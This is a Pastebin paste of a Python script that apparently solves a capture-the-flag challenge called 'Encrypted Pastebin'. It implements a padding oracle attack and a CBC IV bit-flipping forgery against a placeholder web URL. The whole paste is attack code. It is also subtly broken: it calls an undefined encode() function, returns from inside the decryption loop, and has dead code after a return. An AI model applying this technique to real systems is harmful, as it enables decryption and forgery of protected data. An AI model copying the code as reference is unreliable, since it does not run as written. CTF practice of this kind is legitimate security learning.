0xspade

Encrypted Pastebin - Flag 2

Jan 5th, 2021 (edited)
162
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.33 KB | None | 0 0
  1. #!/usr/bin/python3
  2. import base64, requests
  3.  
  4. def decode(data):
  5.     return base64.b64decode(data.replace("~","=").replace("!","/").replace("-","+"))
  6.  
  7. def bxor(azazel, ayumi):
  8.     result = b""
  9.     for azazel, ayumi in zip(azazel, ayumi):
  10.         result += bytes([azazel ^ ayumi])
  11.     return result
  12.  
  13. def padding(url, data):
  14.     r = requests.get(url+"?post={}".format(data))
  15.     if 'PaddingException' in r.text:
  16.         return True
  17.         print(r.text)
  18.     else:
  19.         return False
  20.  
  21. def gen_iv_list(data):
  22.     iv = b'\x00'*(16-len(data)-1)
  23.     return [iv+bytes([change])+data for change in range(0x00, 0xff+1)]
  24.  
  25. def padding_oracle(iv, url, data):
  26.     index = 15
  27.     plains = bytes()
  28.     tail = bytes()
  29.     while index >= 0:
  30.         for new_iv in gen_iv_list(tail):
  31.             if padding(url, encode(new_iv+data)):
  32.                 plains = bytes([(16-index) ^ new_iv[index]])+plains
  33.                 index -=1
  34.                 tail = bytes([plain ^ (16-index) for plain in plains])
  35.                 break
  36.         return bxor(iv, plains)
  37.  
  38. post = "<encrypted shit in post>" #change me
  39. data = decode(post)[16*(1+5):]
  40. iv = decode(post)[16*(1+4):16*(1+5)]
  41. kewl = bxor(b'$FLAG$", "id": "', iv)
  42. test = bxor(kewl, b'{"id":"1", "i":"')
  43. b = base64.b64encode(test+data)
  44.  
  45. hehe = b.decode('ascii').replace("=","~").replace("/","!").replace("+","-")
  46. print("Encoded: "+hehe)
  47.  
  48. if padding("http://<ip>/<path>/", hehe): #change me
  49.     print("nice")
  50. else:
  51.     print("X0X")
Add Comment
Please, Sign In to add comment